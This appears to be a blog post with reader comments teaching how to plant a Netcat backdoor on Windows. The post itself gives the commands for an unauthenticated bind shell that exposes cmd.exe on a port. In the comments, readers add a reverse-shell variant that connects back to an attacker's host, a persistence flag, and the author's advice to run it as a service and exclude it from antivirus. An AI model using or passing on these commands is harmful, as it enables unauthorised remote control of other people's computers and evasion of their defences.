Hackosis is an Open Blog. You Can Participate.

  • 15
  • Jan

image by destineleeBack Door

Netcat is referred to as the TCP/IP swiss army knife. Netcat can be used for good things, as well as bad. By using Netcat we can create a back door to any Windows machine with ease.

  1. Download the Windows version of Netcat.
  2. Unzip nc.exe to the %SYSTEMROOT%\system32 directory.
  3. Execute nc -d -L -e cmd.exe -p 10001. Change 10001 to which ever port you wish.
  4. From any remote machine accessible to the victim server — you can now telnet to the server on port 10001 — telnet X.X.X.X 10001without any authentication.

NOTE: As soon as you disconnect netcat will stop running. You might look into running it as a service.

Have any more Netcat tips? Please share in the comments.

[Slashdot] [Digg] [Reddit] [del.icio.us] [Facebook] [Technorati] [Google] [StumbleUpon]

Related Posts


Tags: , , , , ,

Like this post? Subscibe to the RSS feed.


20 Comments

  1. txuben Says:

    Personally I prefer the method back is to say:

    I: nc-vv-l-p port
    victim
    victim: nc-d - and cmd.exe ip/dns port

    Of form is you do not need to know previously the ip of the second machine
    (victim)

    Sorry for my english i’m spanish

  2. trew Says:

    In the Windows version of Netcat it is possible to use the “-L” parameter.

    If instead of running netcat like this: “nc -d -l -e cmd.exe -p 10001″, you substitute the “-l” paramter of “-L”, netcat will keep running and listening even after you disconnect from the remote machine. I think that’s a good little tip :).

  3. Shane Says:

    Thanks Trew, I changed it in the post. ;)

  4. Greyhillmafia.com Says:

    That door looks so much like GTA3’s door o.o reminds me of the old modding days with the old game

  5. Huloft Says:

    netcat is detected by anti-virus like panda and mcaffe.

  6. Shane Says:

    Thanks for pointing that out Huloft. In case you are confused, and you are downloading this from a valid source this is not a virus and you should add an exclusion for testing.

    However you might desire that your antivirus does detect and delete this program. ;)

  7. Jonathan Allen Says:

    How to create a back door on any OS:

    1. Get root/administrator access.
    2. Install any program that lets you run commands remotely.

  8. vilaca Says:

    hi. i did some tests with netcat in 2006 and did a post on it for my blog http://networkcheese.com

    doesn’t get many hits, but i hope its useful for someone :)

    cheers

  9. Créer une backdoor sous windows ? Facile avec Netcat et telnet Says:

    [...] HOW TO: Create a Back Door on Microsoft Windows ] [ Netcat [...]

  10. linuxamp Says:

    Ha ha, Jonathan is so right. If you have admin access you could use anything, even MS remote desktop.

    FYI, many antivirus applications will detect netcat as a threat.

  11. John Smith Says:

    What do you need a backdoor for if you have physical access?

  12. Shane Says:

    John,

    This post is meant for inspiring ideas.

    Shane

  13. netcat for windows Says:

    [...] things, as well as bad. By using netcat we can create a back door to any windows machine with ease.http://www.hackosis.com/index.php/2008/01/15/how-to-create-a-back-door-on-microsoft-windows/YouTube - netcat on windowsnetcat on windows. Hello, you either have JavaScript turned off or an old [...]

  14. deon Says:

    the question is how long do you have physical access for?

  15. Shane Says:

    deon, For as long as netcat is running.

  16. Create a Back Door in Windows | Hack N Mod Says:

    [...] Read More [...]

  17. Deof Movestofca Says:

    I have a hard time believing that the program is completely unstoppable. I would think that anyone knowledgeable enough to create such a powerful program would also know about such potential abuses and guard themselves against them. It would be like handing out biological weapons to anyone and everyone who came along without first making sure that one wasn’t inoculated against whatever they contained. Just wondering how a program like ThreatFire from PCTools, which tries to identify malware threats by behavior rather than signatures, would be at protecting a computer.

  18. Shane Says:

    Good thought Deof. I think some anti-malware software does identify netcat as a threat.

  19. vilaca Says:

    Netcat NOT just a backdoor tool. Netcat is a very powerfull tool for network stuff. I use it for other purposes regularly.

  20. Shane Says:

    This is true.

Leave a Comment